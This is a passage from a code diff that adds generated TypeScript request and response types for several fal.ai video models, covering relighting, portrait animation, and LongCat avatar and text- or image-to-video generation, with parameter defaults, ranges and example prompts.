https://v3b.fal.media/files/b/0a8715c9/x378fHboeiGD6j_0nbWlJ_gen.mp4 + * @type object + */ + video: File4F0Fbe99 + /** + * @description Optional: visualization/debug video (if produced by the pipeline). + */ + viz_video?: File4F0Fbe99 | null +} + +export const relightParametersBgSourceEnum = { + Left: 'Left', + Right: 'Right', + Top: 'Top', + Bottom: 'Bottom', +} as const + +export type RelightParametersBgSourceEnumKey = + (typeof relightParametersBgSourceEnum)[keyof typeof relightParametersBgSourceEnum] + +/** + * @description Relighting parameters for video relighting operations. + * + * Used with relight_condition_type 'ic' (intrinsic conditioning). + * @type object + */ +export type RelightParameters = { + /** + * @description Text prompt describing the desired lighting condition. + * @example Sunlight + * @example Red and Blue Neon Light + * @example Warm indoor lighting + * @type string + */ + relight_prompt: string + /** + * @description Direction of the light source (used for IC-light). + * @default 'Left' + * @type string | undefined + */ + bg_source?: RelightParametersBgSourceEnumKey + /** + * @description Whether to use sky masking for outdoor scenes. + * @default false + * @type boolean | undefined + */ + use_sky_mask?: boolean + /** + * @description Classifier-free guidance scale for relighting. + * @minimum 1 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + cfg?: number +} + +export const inputFalAiLightxRelightRelitCondTypeEnum = { + ic: 'ic', + ref: 'ref', + hdr: 'hdr', + bg: 'bg', +} as const + +export type InputFalAiLightxRelightRelitCondTypeEnumKey = + (typeof inputFalAiLightxRelightRelitCondTypeEnum)[keyof typeof inputFalAiLightxRelightRelitCondTypeEnum] + +/** + * @description Relighting-only request (minimal schema). + * @type object + */ +export type InputFalAiLightxRelight = { + /** + * @description Relighting parameters (required for relight_condition_type='ic'). Not used for 'bg' (which expects a background image URL instead). + * @example {"relight_prompt":"Sunlight","bg_source":"Right","use_sky_mask":false,"cfg":2} + */ + relight_parameters?: RelightParameters | null + /** + * @description URL of the input video. + * @example https://storage.googleapis.com/falserverless/example_inputs/lightx_video.mp4 + * @type string + */ + video_url: string + /** + * @description Relight condition type. + * @default 'ic' + * @type string | undefined + */ + relit_cond_type?: InputFalAiLightxRelightRelitCondTypeEnumKey + /** + * @description Frame index to use as reference to relight the video with reference. Must be less than the number of generated frames (default 49). + * @minimum 0 + * @maximum 48 + * @default 0 + * @type integer | undefined + */ + ref_id?: number + /** + * @description Optional text prompt. If omitted, Light-X will auto-caption the video. + */ + prompt?: string | null + /** + * @description URL of conditioning image. Required for relight_condition_type='ref'/'hdr'. Also required for relight_condition_type='bg' (background image). + * @example https://storage.googleapis.com/falserverless/example_inputs/lightx_image.png + */ + relit_cond_img_url?: string | null + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileFbe2C2Ec = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiLightxRelight = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description Optional: normalized/processed input video (if produced by the pipeline). + */ + input_video?: FileFbe2C2Ec | null + /** + * @description The generated video file. + * @example https://v3b.fal.media/files/b/0a8715c9/x378fHboeiGD6j_0nbWlJ_gen.mp4 + * @type object + */ + video: FileFbe2C2Ec + /** + * @description Optional: visualization/debug video (if produced by the pipeline). + */ + viz_video?: FileFbe2C2Ec | null +} + +export type InputFalAiLivePortrait = { + /** + * @description URL of the video to drive the lip syncing. + * @example https://storage.googleapis.com/falserverless/model_tests/live-portrait/liveportrait-example.mp4 + * @type string + */ + video_url: string + /** + * @description Amount to smile + * @minimum -2 + * @maximum 2 + * @default 0 + * @type number | undefined + */ + smile?: number + /** + * @description Whether to enable eye retargeting. + * @default false + * @type boolean | undefined + */ + flag_eye_retargeting?: boolean + /** + * @description Amount to move pupils vertically + * @minimum -45 + * @maximum 45 + * @default 0 + * @type number | undefined + */ + pupil_y?: number + /** + * @description Scaling factor for the face crop. + * @default 2.3 + * @type number | undefined + */ + scale?: number + /** + * @description Whether to enable lip retargeting. + * @default false + * @type boolean | undefined + */ + flag_lip_retargeting?: boolean + /** + * @description Amount to rotate the face in roll + * @minimum -45 + * @maximum 45 + * @default 0 + * @type number | undefined + */ + rotate_roll?: number + /** + * @description Amount to blink the eyes + * @minimum -30 + * @maximum 30 + * @default 0 + * @type number | undefined + */ + blink?: number + /** + * @description Amount to shape mouth in 'woo' position + * @minimum -100 + * @maximum 100 + * @default 0 + * @type number | undefined + */ + woo?: number + /** + * @description + * Whether to enable the safety checker. If enabled, the model will check if the input image contains a face before processing it. + * The safety checker will process the input image + * + * @default false + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to crop the source portrait to the face-cropping space. + * @default true + * @type boolean | undefined + */ + flag_do_crop?: boolean + /** + * @description Amount to open mouth in 'aaa' shape + * @minimum -200 + * @maximum 200 + * @default 0 + * @type number | undefined + */ + aaa?: number + /** + * @description Whether to use relative motion. + * @default true + * @type boolean | undefined + */ + flag_relative?: boolean + /** + * @description URL of the image to be animated + * @example https://storage.googleapis.com/falserverless/model_tests/live-portrait/XKEmk3mAzGHUjK3qqH-UL.jpeg + * @type string + */ + image_url: string + /** + * @description Horizontal offset ratio for face crop. + * @default 0 + * @type number | undefined + */ + vx_ratio?: number + /** + * @description Amount to rotate the face in yaw + * @minimum -45 + * @maximum 45 + * @default 0 + * @type number | undefined + */ + rotate_yaw?: number + /** + * @description Amount to move pupils horizontally + * @minimum -45 + * @maximum 45 + * @default 0 + * @type number | undefined + */ + pupil_x?: number + /** + * @description Amount to rotate the face in pitch + * @minimum -45 + * @maximum 45 + * @default 0 + * @type number | undefined + */ + rotate_pitch?: number + /** + * @description Amount to shape mouth in 'eee' position + * @minimum -40 + * @maximum 40 + * @default 0 + * @type number | undefined + */ + eee?: number + /** + * @description Batch size for the model. The larger the batch size, the faster the model will run, but the more memory it will consume. + * @default 32 + * @type integer | undefined + */ + batch_size?: number + /** + * @description Whether to conduct the rotation when flag_do_crop is True. + * @default true + * @type boolean | undefined + */ + flag_do_rot?: boolean + /** + * @description Whether to enable stitching. Recommended to set to True. + * @default true + * @type boolean | undefined + */ + flag_stitching?: boolean + /** + * @description Amount to raise or lower eyebrows + * @minimum -30 + * @maximum 30 + * @default 0 + * @type number | undefined + */ + eyebrow?: number + /** + * @description Whether to set the lip to closed state before animation. Only takes effect when flag_eye_retargeting and flag_lip_retargeting are False. + * @default true + * @type boolean | undefined + */ + flag_lip_zero?: boolean + /** + * @description Amount to wink + * @minimum 0 + * @maximum 25 + * @default 0 + * @type number | undefined + */ + wink?: number + /** + * @description Whether to paste-back/stitch the animated face cropping from the face-cropping space to the original image space. + * @default true + * @type boolean | undefined + */ + flag_pasteback?: boolean + /** + * @description Size of the output image. + * @default 512 + * @type integer | undefined + */ + dsize?: number + /** + * @description Vertical offset ratio for face crop. Positive values move up, negative values move down. + * @default -0.125 + * @type number | undefined + */ + vy_ratio?: number +} + +export type File75752530 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiLivePortrait = { + /** + * @description The generated video file. + * @type object + */ + video: File75752530 +} + +export const inputFalAiLongcatSingleAvatarAudioToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLongcatSingleAvatarAudioToVideoResolutionEnumKey = + (typeof inputFalAiLongcatSingleAvatarAudioToVideoResolutionEnum)[keyof typeof inputFalAiLongcatSingleAvatarAudioToVideoResolutionEnum] + +/** + * @description Request model for audio-to-video generation. + * @type object + */ +export type InputFalAiLongcatSingleAvatarAudioToVideo = { + /** + * @description The number of inference steps to use. + * @minimum 10 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Resolution of the generated video (480p or 720p). Billing is per video-second (16 frames): 480p is 1 unit per second and 720p is 4 units per second. + * @default '480p' + * @type string | undefined + */ + resolution?: InputFalAiLongcatSingleAvatarAudioToVideoResolutionEnumKey + /** + * @description The prompt to guide the video generation. + * @default 'A person is talking naturally with natural expressions and movements.' + * @example A person is talking naturally with natural expressions and movements. + * @type string | undefined + */ + prompt?: string + /** + * @description The text guidance scale for classifier-free guidance. + * @minimum 1 + * @maximum 10 + * @default 4 + * @type number | undefined + */ + text_guidance_scale?: number + /** + * @description The negative prompt to avoid in the video generation. + * @default 'Close-up, Bright tones, overexposed, static, blurred details, subtitles, style, works, paintings, images, static, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, misshapen limbs, fused fingers, still picture, messy background, three legs, many people in the background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The audio guidance scale. Higher values may lead to exaggerated mouth movements. + * @minimum 1 + * @maximum 10 + * @default 4 + * @type number | undefined + */ + audio_guidance_scale?: number + /** + * @description The URL of the audio file to drive the avatar. + * @example https://v3b.fal.media/files/b/0a87a827/QDAEdCQOPXxYWPUl2fyTY_4421psm.mp3 + * @type string + */ + audio_url: string + /** + * @description Whether to enable prompt expansion using an LLM to enhance the prompt for better video quality. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Whether to enable safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of video segments to generate. Each segment adds ~5 seconds of video. First segment is ~5.8s, additional segments are 5s each. + * @minimum 1 + * @maximum 10 + * @default 1 + * @type integer | undefined + */ + num_segments?: number +} + +export type File2706B690 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description Response model for audio-to-video generation (no reference image). + * @type object + */ +export type OutputFalAiLongcatSingleAvatarAudioToVideo = { + /** + * @description The seed used for generation. + * @example 424911732 + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example https://v3b.fal.media/files/b/0a879d5d/UfaJ-sridj9C6IjSNWLYk_output_27368fcd87a34a0fb2929ed926cd71f0.mp4 + * @type object + */ + video: File2706B690 +} + +export const inputFalAiLongcatSingleAvatarImageAudioToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLongcatSingleAvatarImageAudioToVideoResolutionEnumKey = + (typeof inputFalAiLongcatSingleAvatarImageAudioToVideoResolutionEnum)[keyof typeof inputFalAiLongcatSingleAvatarImageAudioToVideoResolutionEnum] + +/** + * @description Request model for image+audio to video generation. + * @type object + */ +export type InputFalAiLongcatSingleAvatarImageAudioToVideo = { + /** + * @description Number of video segments to generate. Each segment adds ~5 seconds of video. First segment is ~5.8s, additional segments are 5s each. + * @minimum 1 + * @maximum 10 + * @default 1 + * @type integer | undefined + */ + num_segments?: number + /** + * @description The prompt to guide the video generation. + * @default 'A person is talking naturally with natural expressions and movements.' + * @example A western man stands on stage under dramatic lighting, holding a microphone close to their mouth. Wearing a vibrant red jacket with gold embroidery, the singer is speaking while smoke swirls around them, creating a dynamic and atmospheric scene. + * @type string | undefined + */ + prompt?: string + /** + * @description Whether to enable safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to use. + * @minimum 10 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Resolution of the generated video (480p or 720p). Billing is per video-second (16 frames): 480p is 1 unit per second and 720p is 4 units per second. + * @default '480p' + * @type string | undefined + */ + resolution?: InputFalAiLongcatSingleAvatarImageAudioToVideoResolutionEnumKey + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The text guidance scale for classifier-free guidance. + * @minimum 1 + * @maximum 10 + * @default 4 + * @type number | undefined + */ + text_guidance_scale?: number + /** + * @description The URL of the audio file to drive the avatar. + * @example https://raw.githubusercontent.com/meituan-longcat/LongCat-Video/refs/heads/main/assets/avatar/single/man.mp3 + * @type string + */ + audio_url: string + /** + * @description The URL of the image to animate. + * @example https://raw.githubusercontent.com/meituan-longcat/LongCat-Video/refs/heads/main/assets/avatar/single/man.png + * @type string + */ + image_url: string + /** + * @description The audio guidance scale. Higher values may lead to exaggerated mouth movements. + * @minimum 1 + * @maximum 10 + * @default 4 + * @type number | undefined + */ + audio_guidance_scale?: number + /** + * @description Whether to enable prompt expansion using an LLM to enhance the prompt for better video quality. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The negative prompt to avoid in the video generation. + * @default 'Close-up, Bright tones, overexposed, static, blurred details, subtitles, style, works, paintings, images, static, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, misshapen limbs, fused fingers, still picture, messy background, three legs, many people in the background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string +} + +export type File82658E7C = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description Response model for image+audio to video generation. + * @type object + */ +export type OutputFalAiLongcatSingleAvatarImageAudioToVideo = { + /** + * @description The seed used for generation. + * @example 424911732 + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example https://v3b.fal.media/files/b/0a87a0ce/2TnxxI02RHnLUvjGzhZa7_output_86da44aa6eed40ff9061b2213fb19793.mp4 + * @type object + */ + video: File82658E7C +} + +export const inputFalAiLongcatVideoDistilledImageToVideo480PVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLongcatVideoDistilledImageToVideo480PVideoQualityEnumKey = + (typeof inputFalAiLongcatVideoDistilledImageToVideo480PVideoQualityEnum)[keyof typeof inputFalAiLongcatVideoDistilledImageToVideo480PVideoQualityEnum] + +export const inputFalAiLongcatVideoDistilledImageToVideo480PVideoWriteModeEnum = + { + fast: 'fast', + balanced: 'balanced', + small: 'small', + } as const + +export type InputFalAiLongcatVideoDistilledImageToVideo480PVideoWriteModeEnumKey = + (typeof inputFalAiLongcatVideoDistilledImageToVideo480PVideoWriteModeEnum)[keyof typeof inputFalAiLongcatVideoDistilledImageToVideo480PVideoWriteModeEnum] + +export const inputFalAiLongcatVideoDistilledImageToVideo480PVideoOutputTypeEnum = + { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', + } as const + +export type InputFalAiLongcatVideoDistilledImageToVideo480PVideoOutputTypeEnumKey = + (typeof inputFalAiLongcatVideoDistilledImageToVideo480PVideoOutputTypeEnum)[keyof typeof inputFalAiLongcatVideoDistilledImageToVideo480PVideoOutputTypeEnum] + +export type InputFalAiLongcatVideoDistilledImageToVideo480P = { + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLongcatVideoDistilledImageToVideo480PVideoQualityEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLongcatVideoDistilledImageToVideo480PVideoWriteModeEnumKey + /** + * @description The prompt to guide the video generation. + * @default 'First-person view from the cockpit of a Formula 1 car. The driver\'s gloved hands firmly grip the intricate, carbon-fiber steering wheel adorned with numerous colorful buttons and a vibrant digital display showing race data. Beyond the windshield, a sun-drenched racetrack stretches ahead, lined with cheering spectators in the grandstands. Several rival cars are visible in the distance, creating a dynamic sense of competition. The sky above is a clear, brilliant blue, reflecting the exhilarating atmosphere of a high-speed race. high resolution 4k' + * @example First-person view from the cockpit of a Formula 1 car. The driver's gloved hands firmly grip the intricate, carbon-fiber steering wheel adorned with numerous colorful buttons and a vibrant digital display showing race data. Beyond the windshield, a sun-drenched racetrack stretches ahead, lined with cheering spectators in the grandstands. Several rival cars are visible in the distance, creating a dynamic sense of competition. The sky above is a clear, brilliant blue, reflecting the exhilarating atmosphere of a high-speed race. high resolution 4k + * @type string | undefined + */ + prompt?: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the image to generate a video from. + * @example https://v3b.fal.media/files/b/zebra/trXRsbjJwy4Z3OEgbnB9a.jpg + * @type string + */ + image_url: string + /** + * @description Whether to enable safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLongcatVideoDistilledImageToVideo480PVideoOutputTypeEnumKey + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The number of inference steps to use. + * @minimum 2 + * @maximum 16 + * @default 12 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable prompt expansion. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The frame rate of the generated video. + * @minimum 1 + * @maximum 60 + * @default 15 + * @type integer | undefined + */ + fps?: number + /** + * @description The number of frames to generate. + * @minimum 17 + * @maximum 961 + * @default 162 + * @type integer | undefined + */ + num_frames?: number +} + +export type File0F33Ee5A = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiLongcatVideoDistilledImageToVideo480P = { + /** + * @description The generated video file. + * @example {"url":"https://v3b.fal.media/files/b/panda/4-MoAje_CCMAGH8d-9kmA_nQEkcRc2.mp4","content_type":"video/mp4"} + * @type object + */ + video: File0F33Ee5A + /** + * @description The seed used for generation. + * @example 916581 + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @example First-person view from the cockpit of a Formula 1 car. The driver's gloved hands firmly grip the intricate, carbon-fiber steering wheel adorned with numerous colorful buttons and a vibrant digital display showing race data. Beyond the windshield, a sun-drenched racetrack stretches ahead, lined with cheering spectators in the grandstands. Several rival cars are visible in the distance, creating a dynamic sense of competition. The sky above is a clear, brilliant blue, reflecting the exhilarating atmosphere of a high-speed race. high resolution 4k + * @type string + */ + prompt: string +} + +export const inputFalAiLongcatVideoDistilledImageToVideo720PVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLongcatVideoDistilledImageToVideo720PVideoQualityEnumKey = + (typeof inputFalAiLongcatVideoDistilledImageToVideo720PVideoQualityEnum)[keyof typeof inputFalAiLongcatVideoDistilledImageToVideo720PVideoQualityEnum] + +export const inputFalAiLongcatVideoDistilledImageToVideo720PVideoWriteModeEnum = + { + fast: 'fast', + balanced: 'balanced', + small: 'small', + } as const + +export type InputFalAiLongcatVideoDistilledImageToVideo720PVideoWriteModeEnumKey = + (typeof inputFalAiLongcatVideoDistilledImageToVideo720PVideoWriteModeEnum)[keyof typeof inputFalAiLongcatVideoDistilledImageToVideo720PVideoWriteModeEnum] + +export const inputFalAiLongcatVideoDistilledImageToVideo720PVideoOutputTypeEnum = + { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', + } as const + +export type InputFalAiLongcatVideoDistilledImageToVideo720PVideoOutputTypeEnumKey = + (typeof inputFalAiLongcatVideoDistilledImageToVideo720PVideoOutputTypeEnum)[keyof typeof inputFalAiLongcatVideoDistilledImageToVideo720PVideoOutputTypeEnum] + +export type InputFalAiLongcatVideoDistilledImageToVideo720P = { + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLongcatVideoDistilledImageToVideo720PVideoQualityEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLongcatVideoDistilledImageToVideo720PVideoWriteModeEnumKey + /** + * @description The prompt to guide the video generation. + * @default 'First-person view from the cockpit of a Formula 1 car. The driver\'s gloved hands firmly grip the intricate, carbon-fiber steering wheel adorned with numerous colorful buttons and a vibrant digital display showing race data. Beyond the windshield, a sun-drenched racetrack stretches ahead, lined with cheering spectators in the grandstands. Several rival cars are visible in the distance, creating a dynamic sense of competition. The sky above is a clear, brilliant blue, reflecting the exhilarating atmosphere of a high-speed race. high resolution 4k' + * @example First-person view from the cockpit of a Formula 1 car. The driver's gloved hands firmly grip the intricate, carbon-fiber steering wheel adorned with numerous colorful buttons and a vibrant digital display showing race data. Beyond the windshield, a sun-drenched racetrack stretches ahead, lined with cheering spectators in the grandstands. Several rival cars are visible in the distance, creating a dynamic sense of competition. The sky above is a clear, brilliant blue, reflecting the exhilarating atmosphere of a high-speed race. high resolution 4k + * @type string | undefined + */ + prompt?: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the image to generate a video from. + * @example https://v3b.fal.media/files/b/zebra/trXRsbjJwy4Z3OEgbnB9a.jpg + * @type string + */ + image_url: string + /** + * @description Whether to enable safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to use for refinement. + * @minimum 2 + * @maximum 16 + * @default 12 + * @type integer | undefined + */ + num_refine_inference_steps?: number + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The number of inference steps to use. + * @minimum 2 + * @maximum 16 + * @default 12 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable prompt expansion. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The frame rate of the generated video. + * @minimum 1 + * @maximum 60 + * @default 30 + * @type integer | undefined + */ + fps?: number + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLongcatVideoDistilledImageToVideo720PVideoOutputTypeEnumKey + /** + * @description The number of frames to generate. + * @minimum 17 + * @maximum 961 + * @default 162 + * @type integer | undefined + */ + num_frames?: number +} + +export type FileB9787Bab = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiLongcatVideoDistilledImageToVideo720P = { + /** + * @description The generated video file. + * @example {"url":"https://v3b.fal.media/files/b/panda/4-MoAje_CCMAGH8d-9kmA_nQEkcRc2.mp4","content_type":"video/mp4"} + * @type object + */ + video: FileB9787Bab + /** + * @description The seed used for generation. + * @example 916581 + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @example First-person view from the cockpit of a Formula 1 car. The driver's gloved hands firmly grip the intricate, carbon-fiber steering wheel adorned with numerous colorful buttons and a vibrant digital display showing race data. Beyond the windshield, a sun-drenched racetrack stretches ahead, lined with cheering spectators in the grandstands. Several rival cars are visible in the distance, creating a dynamic sense of competition. The sky above is a clear, brilliant blue, reflecting the exhilarating atmosphere of a high-speed race. high resolution 4k + * @type string + */ + prompt: string +} + +export const inputFalAiLongcatVideoDistilledTextToVideo480PVideoOutputTypeEnum = + { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', + } as const + +export type InputFalAiLongcatVideoDistilledTextToVideo480PVideoOutputTypeEnumKey = + (typeof inputFalAiLongcatVideoDistilledTextToVideo480PVideoOutputTypeEnum)[keyof typeof inputFalAiLongcatVideoDistilledTextToVideo480PVideoOutputTypeEnum] + +export const inputFalAiLongcatVideoDistilledTextToVideo480PVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLongcatVideoDistilledTextToVideo480PVideoQualityEnumKey = + (typeof inputFalAiLongcatVideoDistilledTextToVideo480PVideoQualityEnum)[keyof typeof inputFalAiLongcatVideoDistilledTextToVideo480PVideoQualityEnum] + +export const inputFalAiLongcatVideoDistilledTextToVideo480PAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiLongcatVideoDistilledTextToVideo480PAspectRatioEnumKey = + (typeof inputFalAiLongcatVideoDistilledTextToVideo480PAspectRatioEnum)[keyof typeof inputFalAiLongcatVideoDistilledTextToVideo480PAspectRatioEnum] + +export const inputFalAiLongcatVideoDistilledTextToVideo480PVideoWriteModeEnum = + { + fast: 'fast', + balanced: 'balanced', + small: 'small', + } as const + +export type InputFalAiLongcatVideoDistilledTextToVideo480PVideoWriteModeEnumKey = + (typeof inputFalAiLongcatVideoDistilledTextToVideo480PVideoWriteModeEnum)[keyof typeof inputFalAiLongcatVideoDistilledTextToVideo480PVideoWriteModeEnum] + +export type InputFalAiLongcatVideoDistilledTextToVideo480P = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLongcatVideoDistilledTextToVideo480PVideoOutputTypeEnumKey + /** + * @description The number of inference steps to use. + * @minimum 2 + * @maximum 16 + * @default 12 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable prompt expansion. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLongcatVideoDistilledTextToVideo480PVideoQualityEnumKey + /** + * @description The frame rate of the generated video. + * @minimum 1 + * @maximum 60 + * @default 15 + * @type integer | undefined + */ + fps?: number + /** + * @description The number of frames to generate. + * @minimum 17 + * @maximum 961 + * @default 162 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The prompt to guide the video generation. + * @example realistic filming style, a person wearing a dark helmet, a deep-colored jacket, blue jeans, and bright yellow shoes rides a skateboard along a winding mountain road. The skateboarder starts in a standing position, then gradually lowers into a crouch, extending one hand to touch the road surface while maintaining a low center of gravity to navigate a sharp curve. After completing the turn, the skateboarder rises back to a standing position and continues gliding forward. The background features lush green hills flanking both sides of the road, with distant snow-capped mountain peaks rising against a clear, bright blue sky. The camera follows closely from behind, smoothly tracking the skateboarder’s movements and capturing the dynamic scenery along the route. The scene is shot in natural daylight, highlighting the vivid outdoor environment and the skateboarder’s fluid actions. + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiLongcatVideoDistilledTextToVideo480PAspectRatioEnumKey + /** + * @description Whether to enable safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLongcatVideoDistilledTextToVideo480PVideoWriteModeEnumKey + /** + * @description The seed for the random number generator. + */ + seed?: number | null +} + +export type File5De512Ae = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiLongcatVideoDistilledTextToVideo480P = { + /** + * @description The generated video file. + * @example {"url":"https://v3b.fal.media/files/b/zebra/lXFrGA-egaUXWFGSp8GqT_BxoDEqUZ.mp4","content_type":"video/mp4"} + * @type object + */ + video: File5De512Ae + /** + * @description The seed used for generation. + * @example 424911732 + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @example realistic filming style, a person wearing a dark helmet, a deep-colored jacket, blue jeans, and bright yellow shoes rides a skateboard along a winding mountain road. The skateboarder starts in a standing position, then gradually lowers into a crouch, extending one hand to touch the road surface while maintaining a low center of gravity to navigate a sharp curve. After completing the turn, the skateboarder rises back to a standing position and continues gliding forward. The background features lush green hills flanking both sides of the road, with distant snow-capped mountain peaks rising against a clear, bright blue sky. The camera follows closely from behind, smoothly tracking the skateboarder’s movements and capturing the dynamic scenery along the route. The scene is shot in natural daylight, highlighting the vivid outdoor environment and the skateboarder’s fluid actions. + * @type string + */ + prompt: string +} + +export const inputFalAiLongcatVideoDistilledTextToVideo720PVideoQualityEnum = { + low: 'low', + medium: 